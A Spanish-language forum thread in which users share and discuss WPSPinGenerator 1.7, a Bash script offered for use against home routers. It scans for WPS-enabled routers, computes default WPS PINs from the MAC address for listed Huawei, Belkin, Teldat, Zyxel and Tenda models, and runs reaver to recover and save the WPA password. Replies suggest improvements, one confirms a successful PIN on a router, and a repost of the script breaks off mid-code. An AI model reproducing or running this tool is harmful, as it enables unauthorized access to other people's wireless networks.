Seguridad Wireless - Wifi
Suite Seguridad Wireless => Colaboracion y desarrollo de nuestras lives => Mensaje iniciado por: USUARIONUEVO en 18-12-2012, 15:35 (Martes)
-
asi el tema queda dividido y limpio
version 1.7 que incorpora la cuenta atras en escaneo con wash.
#!/bin/bash
# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
for monx in $interfaces; do
airmon-ng stop $monx >/dev/null 2>&1
done
fi
# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.7"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"
MACs_Soportadas='
--------------------------------------------------
Fabricante > HUAWEI
essid> FTE-XXXX
modelo> HG532c "Echo Life"
---------------------------------------------------
bssid soportados
04:C0:6F
20:2B:C1
28:5F:DB
80:B6:86
84:A8:E4
B4:74:9F
BC:76:70
CC:96:A0
--------------------------------------------------
Fabricante > HUAWEI
essid> vodafoneXXXX
modelo> HG566a
--------------------------------------------------
bssid soportados
5C:4C:A9
62:A8:E4
62:C0:6F
62:C6:1F
62:E8:7B
6A:53:D4
6A:55:9C
6A:C7:14
72:C0:6F
72:C7:14
72:E8:7B
62:C7:14
6A:A8:E4
72:55:9C
--------------------------------------------------
Fabricante > Belkin
essid> Belkin_N+_XXXXXX
modelo> F5D8235-4 v 1000
--------------------------------------------------
bssid soportados
00:22:75
--------------------------------------------------
Fabricante > Belkin
essid> belkin.XXX
modelo> F9K1104(N900 DB Wireless N+ Routeur)
--------------------------------------------------
bssid soportados
08:86:3B
--------------------------------------------------
Fabricante > Belkin
essid> belkin.XXX
modelo> F5D8231-4 ver. 5000
--------------------------------------------------
bssid soportados
00:1C:DF
--------------------------------------------------
Fabricante > Teldat
essid> WLAN_XXXX
modelo> iRouter1104-W
--------------------------------------------------
bssid soportados
00:A0:26
--------------------------------------------------
Fabricante > Zyxel
essid> ZyXEL
modelo> zyxel NBG-419n
--------------------------------------------------
bssid soportados
50:57:F0
-------------------------------------------------
Fabricante> Tenda
essid> ?¿
modelo> W309R
-------------------------------------------------
bssid soportados
C8:3A:35
'
# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)
MAC=$(echo $FINBSSID | tr -d ':')
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)
STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS1=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS1=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS1=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS1=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS1=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS1=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS1=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS2=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS2=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS2=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS2=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS2=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS2=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS2=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS3=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS3=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS3=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS3=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS3=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS3=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS3=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
if [ "$CHECKESSID" = "FTE" ];
then
FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`
PIN=`expr 10 '*' $STRING4`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS4=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS4=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS4=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS4=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS4=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS4=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS4=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
fi
}
# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
ETH=$(ip route|awk '/default/ {print $5}')
HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
if [ "$HW_ETH" = "$HW_WIFI" ];then
echo
echo "[0;31mPara evitar errores, la interface \"$ETH\" no debe estar conectada a internet! [0m"
echo ""
echo "Presiona enter para volver al menú"
read junk
menu
fi
fi
}
# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
if [ $longueur -eq 17 ] ; then
i=$(($i+1))
WPSbssid[$i]=$BSSID
WPSchanel[$i]=$Channel
WPSessid[$i]=$ESSID
PWR[$i]=$RSSI
fi
redesWPS=$i
done < $TMP/wash_capture.$$
if [ "$redesWPS" = "0" ];then
clear
echo ""
echo ""
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna RED "
echo " con WPS activado en la captura"
echo ""
echo " Pulsa INTRO para volver al menu"
read junk
menu
else
clear
echo ""
echo " [1;32mLas siguientes redes son susceptibles de ataque con REAVER[0m"
echo ""
echo " MAC SOPORTADA? PWR Channel ESSID"
echo ""
countWPS=0
while [ 1 -le $i ]; do
countWPS=$(($countWPS+1))
MAC=$(echo ${WPSbssid[$countWPS]}|rev|cut -d: -f4-|rev)
if [ "$(echo $MACs_Soportadas|grep ':'|grep $MAC)" != "" ]; then
SOPORTADA="[1;32mSI[0m"
else
SOPORTADA="NO"
fi
echo " $countWPS) ${WPSbssid[$countWPS]} $SOPORTADA ${PWR[$countWPS]} ${WPSchanel[$countWPS]} ${WPSessid[$countWPS]}"
i=$(($i-1))
done
i=$redesWPS
echo ""
echo " 0) Para volver al menu "
echo ""
echo ""
echo " --> [1;36mSeleccione una red[0m"
read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then
menu
fi
ESSID=${WPSessid[$WPSoption]}
BSSID=${WPSbssid[$WPSoption]}
CHANEL=${WPSchanel[$WPSoption]}
clear
else
echo " Opcion no valida... vuelva a elegir"
sleep 2
SeleccionarObjetivo
fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}
# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
interval=$sec_rem
seconds=`expr $interval % 60`
interval=`expr $interval - $seconds`
sleep 1
clear
echo "[1;33mEscaneando en busca de objetivos... [1;36m$seconds[0m [1;33msegundos[0m"
echo ""
cat $TMP/wash_capture.$$
if [ ! -e /proc/$WashPID ]; then
sleep 1
break
fi
done
SeleccionarObjetivo
}
auto_select_monitor() {
#! /bin/bash
#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar en modo monitor
#############################################################################################################
#poner tarjeta en modo monitor AUTOMATICO
clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
rm -rf $TEMP/wireless.txt
if [ "$tarj1" = "" ]; then
clear
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo " Pulsa ENTER para volver al menu"
read yn
menu
fi
if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi
tarjselec=$tarj1
if [ "$tarj2" != "" ] ;then
echo
echo
echo " Se han encontrado las siguientes tarjetas wifi en este equipo"
echo
airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
{ printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
echo " selecciona una para utilizarla en modo monitor"
echo
tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
break;
done
if [ "$tarjselec" = "" ]; then
echo " La opcion seleccionada no es valida"
echo " Introduce una opcion valida..."
selectarj
fi
}
if [ "$tarjselec" = "" ]; then
selectarj
fi
echo ""
echo "Interface seleccionado: $tarjselec"
fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo " Se está montando la tarjeta en modo monitor"
echo ""
sleep 1
#limpieza interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null
airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"
echo ""
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}
ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
PIN=$PINWPS4
else
PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 40 && kill $ReaverPID &>/dev/null &
while true; do
sleep 1
clear
echo "[1;33mObteniendo clave WPA...[0m"
echo ""
cat $TMP/reaver_capture.$$
if [ ! -e /proc/$ReaverPID ]; then
sleep 1
break
fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
echo "[1;31mNo ha sido posible obtener la clave WPA[0m"
ShowWPA="OFF"
else
WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
echo "ESSID: $ESSID" > $TMP/$WPA_TXT
echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
ShowWPA="ON"
echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}
#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
echo ""
echo ""
echo " ####################################################################"
echo " ### ###"
echo " ### ¿ quiere desnontar la tarjeta antes de salir? ###"
echo " ### ###"
echo " ### (n) no -> Salir sin desmontar ###"
echo " ### (m) Menú -> Volver al menú principal ###"
echo " ### ENTER -> Desmontar y Salir ###"
echo " ### ###"
echo " ### ###"
echo " ####################################################################"
echo ""
echo ""
read salida
set -- ${salida}
if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
}
menu() {
# Bienvenida
clear
echo "[0;31m
__ __ ___ _
/ / /\ \ \____ ___ / _ (_)_ __
\ \/ \/ / _ \/ __| / /_)/ | /_ \
\ /\ /| |_) \__ \ / ___/| | | | |
\/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
|_| "
echo ""
echo " ****************************************************"
echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
echo " ****************************************************[0m "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
echo "INFO AP OBJETIVO"
echo ""
echo " ESSID = $ESSID"
echo " Canal = $CHANEL"
echo " MAC del AP = $BSSID"
if [ "$CHECKESSID" = "FTE" ]; then
echo " Posible pin WPS = $PINWPS4"
else
echo " Posible pin WPS = $PINWPS1"
fi
if [ "$ShowWPA" = "ON" ]; then
echo " Clave WPA = $WPA_KEY"
fi
echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) WashScan;;
2 ) ObtenerWPA;;
3 ) SeleccionarObjetivo;;
0 ) DESMONTAR_tarj_y_salir;;
* ) echo "Opción incorrecta"; menu;;
esac
}
# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
echo -e '\e[1;31m
¡¡¡ Debes ser root para ejecutar este script !!!
Prueba: sudo $0
\e[0m'
exit 1
fi
# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; else rm -rf $KEYS/*; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
fi
fi
menu
-
linea 596 al lanzar reaver....
añadir -vv para ver pin y salto de canales & respuestas m1 m2 etc
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -vv -o $TMP/reaver_capture.$$ &
-
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas " . Feliz año y a sobrevivir....
-
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas " . Feliz año y a sobrevivir....
VOY A VER , si le paso esto a geminis , que le pedi otra modsificacion tambien, ...""que revise los ESSID, y si no coinciden aunque la mac sea valida aparezca como no soportado"
por ejemplo -.-.-.
pongamos que la mac
11:22:33:xx:xx:xx esta soportada para ESSID WLAN_XXXX
PUES LO QUE QUIERO , es que si hay macs
11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.
-
por ejemplo -.-.-.
pongamos que la mac
11:22:33:xx:xx:xx esta soportada para ESSID WLAN_XXXX
PUES LO QUE QUIERO , es que si hay macs
11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.
Yo creo que lo debería poner como , ni que si ni que no, no se... con un par de ?? como posible MAC valida y así poder comprobar si el PIN generado es o no válido (es un minuto) y si no vale pues nada.
Yo me he encontrado con una FTE con el SSID cambiado y me ha generado el PIN válido.
Saludos
-
por ejemplo -.-.-.
pongamos que la mac
11:22:33:xx:xx:xx esta soportada para ESSID WLAN_XXXX
PUES LO QUE QUIERO , es que si hay macs
11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.
Yo creo que lo debería poner como , ni que si ni que no, no se... con un par de ?? como posible MAC valida y así poder comprobar si el PIN generado es o no válido (es un minuto) y si no vale pues nada.
Yo me he encontrado con una FTE con el SSID cambiado y me ha generado el PIN válido.
Saludos
si , el pin se genera y prueba siempre ..pero que no aparezca como si soportada cuando seguramente no lo es.
-
Alguien me podria decir como hacerlo eso de cambiar el WPSPinGenerato en la consola ... ?¿ porfavor
-
Alguien me podria decir como hacerlo eso de cambiar el WPSPinGenerato en la consola ... ?¿ porfavor
mira esto hombre
https://foro.seguridadwireless.net/wifislax/wifislax-4-3-wpspin-generator/
-
pero yo digo como puedo actualizarlo osea esaa WPSPinGeneratos de la manera q sale en el post de arivaa pero no see usarr el bash o modificar el modulo a eso me refiero
-
pero yo digo como puedo actualizarlo osea esaa WPSPinGeneratos de la manera q sale en el post de arivaa pero no see usarr el bash o modificar el modulo a eso me refiero
que quieres actualizarlo con que ???
-
osea estoo como puedoo convertirlo en un modulo para usarlo esqq muchas veses me encuentro cosas como estas i no see como hacer ....
version 1.7 que incorpora la cuenta atras en escaneo con wash.
Código:
#!/bin/bash
# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
for monx in $interfaces; do
airmon-ng stop $monx >/dev/null 2>&1
done
fi
# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.7"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"
MACs_Soportadas='
--------------------------------------------------
Fabricante > HUAWEI
essid> FTE-XXXX
modelo> HG532c "Echo Life"
---------------------------------------------------
bssid soportados
04:C0:6F
20:2B:C1
28:5F:DB
80:B6:86
84:A8:E4
B4:74:9F
BC:76:70
CC:96:A0
--------------------------------------------------
Fabricante > HUAWEI
essid> vodafoneXXXX
modelo> HG566a
--------------------------------------------------
bssid soportados
5C:4C:A9
62:A8:E4
62:C0:6F
62:C6:1F
62:E8:7B
6A:53:D4
6A:55:9C
6A:C7:14
72:C0:6F
72:C7:14
72:E8:7B
62:C7:14
6A:A8:E4
72:55:9C
--------------------------------------------------
Fabricante > Belkin
essid> Belkin_N+_XXXXXX
modelo> F5D8235-4 v 1000
--------------------------------------------------
bssid soportados
00:22:75
--------------------------------------------------
Fabricante > Belkin
essid> belkin.XXX
modelo> F9K1104(N900 DB Wireless N+ Routeur)
--------------------------------------------------
bssid soportados
08:86:3B
--------------------------------------------------
Fabricante > Belkin
essid> belkin.XXX
modelo> F5D8231-4 ver. 5000
--------------------------------------------------
bssid soportados
00:1C:DF
--------------------------------------------------
Fabricante > Teldat
essid> WLAN_XXXX
modelo> iRouter1104-W
--------------------------------------------------
bssid soportados
00:A0:26
--------------------------------------------------
Fabricante > Zyxel
essid> ZyXEL
modelo> zyxel NBG-419n
--------------------------------------------------
bssid soportados
50:57:F0
-------------------------------------------------
Fabricante> Tenda
essid> ?¿
modelo> W309R
-------------------------------------------------
bssid soportados
C8:3A:35
'
# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)
MAC=$(echo $FINBSSID | tr -d ':')
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)
STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
